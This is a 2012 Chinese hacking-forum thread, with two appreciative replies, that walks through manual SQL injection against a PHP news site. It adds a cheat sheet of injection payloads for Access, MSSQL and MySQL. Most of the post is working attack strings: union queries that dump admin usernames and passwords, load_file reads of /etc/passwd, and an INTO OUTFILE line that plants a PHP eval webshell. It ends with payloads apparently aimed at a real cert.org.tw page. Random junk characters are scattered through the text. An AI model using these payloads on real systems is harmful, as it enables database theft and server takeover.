找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2877|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
, K( z  U* l5 z; B1 D1 h让我看看,既然人家开口了,我也不好拒绝,那就看看吧?% L$ O7 E/ b* W9 ?) b9 L" ?3 ?8 h5 G
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。7 R: J/ M# h) c
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)% c) c9 v" X$ C% _
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
1 D. ^9 j4 v, N8 \' N! s8 A这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:( C: t5 _/ f0 |, [, |3 ]2 Z
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in! n$ q. t- s  I- U, r4 D) ^  Z
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
# s6 G  i, \% z( F+ Q0 g                        
1 w5 u+ f4 D& B! }4 X/ B2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
! }8 y! s( P* W% y6 p" ~3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
+ O7 Q( V0 p6 x4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
; G6 l$ C- ^& M3 `$ \5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
% p1 _2 v5 t4 @) Z有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
" s" u9 l! W+ {2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
3 g% g; u& ~' R* N/ e3 N1 u$ e我就用的是第二个思路,& m1 s0 w+ `* r, Y9 c& F+ T3 Z
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  6 D0 ~" K8 F: r7 ~
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,2 f4 P0 H9 D5 O$ W/ }
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
) u0 l( w0 y5 D' G' `5 O' i3 H注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。! a3 c) n4 ?& l2 ~3 J1 r8 P
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????  w8 }* C. m' [+ i% F
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
( ]; V+ z$ n5 v$ N7 Y# q' j: J7 y提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --* n: ~7 o1 B# h' A# z" S
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,# d2 x* X( j# t& Z. c  B
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
, R+ `7 T# X+ [4 E5 v下面是一些很普遍注入方式资料:
' C7 e0 I0 R( x1 x& c0 ~6 W8 ?注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='( A! W: R- |: w6 ]6 C
拆半法
) f# J4 E, f2 t######################################- E6 x, r* X! u- X0 E. k! c
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
" V  M: P. z' m, ^: Yand exists (select * from admin)/ ^" y: G; n* @1 m
and exists(select id from admin); e4 B6 M+ \) I4 V# M
and exists(select id from admin where id=1)2 w# F3 R1 T+ ^9 |3 |
and exists(select id from admin where id>1) / v) p6 y7 V3 l0 z6 [$ K! B$ V
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 $ V3 x& m* x5 Z: _6 X# O
and exists (select username from admin)5 N( K# q0 k( v0 v2 R- _
and exists (select password from admin). [4 q" ~/ s" K/ b: F
and exists (select id from admin where len(username)<10 and id=1)
7 d' Z0 I" b+ u4 @3 nand exists (select id from admin where len(username)>5 and id=1)6 z% Y# _) `7 k+ g, R0 ^) |
and exists (select id from admin where len(username)=6 and id=1)0 Q" ^: D* g- l/ M  q
and exists (select id from admin where len(password)<10 and id=1)9 f2 E7 c% W$ D! c4 e! q7 d
and exists (select id from admin where len(password)>5 and id=1)
2 h% L; r% h! O/ Jand exists (select id from admin where len(password)=7 and id=1)# R* p( L3 y, ^! M4 a
and (select top 1 asc(mid(username,1,1)) from admin)=970 W2 d4 I" Y2 c3 q
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
; b- Z) K! F; `猜第二位把username,1,1改成username,2,1就可以了。( E- h' z$ V1 U' Y5 p! [( y* N! L
猜密码把username改成password就OK了5 y- E$ M" g& S) d$ W" V& X
##################################################0 W6 j; m/ [( F! G3 S0 \9 p+ T
搜索型注入
  b  R# |3 h1 i. T##################################; f2 L  h% X2 \- j1 }* |
%' and 1=1 and '%'='
9 ~- V6 B) Z. ?) a/ H%' and exists (select * from admin) and '%'='
- K: f# ?. l0 }, o+ g%' and exists(select id from admin where id=1) and '%'='
/ I& v' {4 r# @2 Z* j%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
; u- b+ }. |3 z+ f; e: P%' and exists (select id from admin where len(password)=7 and id=1) and '%'='" }5 O1 m) {& d) G
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='3 K( k5 D3 ^- t2 R8 I- t
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='4 L+ f, l! A4 `8 v$ R1 g" F' Z
对于MSSQL数据库,后面可以吧 and '%'='换成--/ D8 i' ]) h+ `3 e
还有一点搜索型注入也可以使用union语句。
6 w5 _9 n, Z4 z: E5 c########################################################
& |. j( u/ X; j0 H+ n0 z9 {* Q* E联合查询。7 [/ ]- t  k1 @# G3 d) B" A6 d3 w7 g
#####################################" I( L! j- q. b8 ~8 ^) S8 }
order by 10
5 U9 N/ ]. }/ _6 g& ?2 Nand 1=2 union select 1,2,3,4,5,6,7,8,9,10
9 ~4 Z- F: s1 y4 |- Zand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
0 G: I* U/ T1 }3 y( ]and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
3 v  Q9 e' q2 Y4 s0 p/ S很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
5 m* ?- Z% @/ E1 A###################################- H) F; C6 W0 i7 p: K4 Z
cookie注入$ \/ u2 ]1 ~' E
###############################
& J) W4 P4 x5 V7 zhttp://www.******.com/shownews.asp?id=127
$ r- Z- O) F4 |http://www.******.com/shownews.asp1 y6 M/ ?- z$ z
alert(="id="+escape("127"));' w. j! d6 ~5 }! T
alert(="id="+escape("127 and 1=1"));
# @: D  D/ b- F8 malert(="id="+escape("127 order by 10"));1 V5 ?) y2 I0 s% W5 }! M2 P
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));8 S: c9 x, ?6 m) ]2 t$ \
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));) g0 S" U# \# w- Y& v. ], ]# ]/ `' r
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。0 F0 N; X4 s% e9 ]' \% F2 A' u/ y
###################################
; Q) Y: a+ T( Y2 N# ?; t偏移注入
- [9 b; V0 `, y2 W, T###########################################################
1 n9 \# u8 s/ Z- Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
4 O; t: A1 p8 O; dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin  _; A3 J4 x! j" F6 G" p5 n2 ~0 |
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)5 E% H0 L( H: [! {$ Z' O
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
8 x0 c( p& g" B- X* J: |union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
  N, _1 w4 @' N: funion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)! `2 F5 V9 Z/ e* q
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
! J2 W5 Y! [6 ]% ~" v+ N2 {+ va.id=d.id)
6 C$ |& R" P4 f- u: C% _" Dand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
9 ]7 g3 K6 I( P* [& v: eand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
* u% I& \9 d8 j  8 t- |7 {' Y9 ?" \' U
============================================================================================================
: Z6 I# v/ ?! b  r3 F# Z0 h( n1.判断版本
9 F% S+ [6 B$ {# k+ }; l  fand ord(mid(version(),1,1))>51
$ f+ {" a6 k% [+ }$ p7 m; h返回正常,说明大于4.0版本,支持ounion查询
2 Q% R8 K- F" k/ u% a2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解# b( ^. S! H/ p  h" ?. H$ I7 R+ e
and 2=4 union select 1,2,3,4,5,6,7,8,9--
4 s4 C" c7 W2 V+ s7 n3 {" l0 b3.查看数据库版本及当前用户,
' F* u% J7 B# Q" y3 }/ Sand 2=4 union select 1,user(),version(),4,5,6,7,8,9--$ s9 b+ H1 f/ h+ y
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假," R. `2 g) }2 p1 W
4.判断有没有写权限; B& p) u: A/ V% R1 K
and (select count(*) from MySQL.user)>0-- + T, ^2 M  |4 e! D# a  e
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,17 t7 ~5 ]& y( i6 K5 E" Q
用不了这个命令,就学习土耳其黑客手法,如下. S( ^" u' H0 s7 L# Z& ]9 o- l
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
! L% u$ F5 \; `6.爆表,爆库) w( z8 h" A3 W! p
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--8 M) ]0 O1 ?; a
7.爆列名,爆表2 ?) N) g, v' k( j: G& s0 d
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--2 M( |7 {& z, X- M
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
+ x5 e& s7 y& X- i. kand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
7 |' H+ I* Q7 U: i9.爆字段内容
3 e) J- O9 z' A; u9 W% Band+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--" n; A0 d8 e4 @+ E! h' r
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表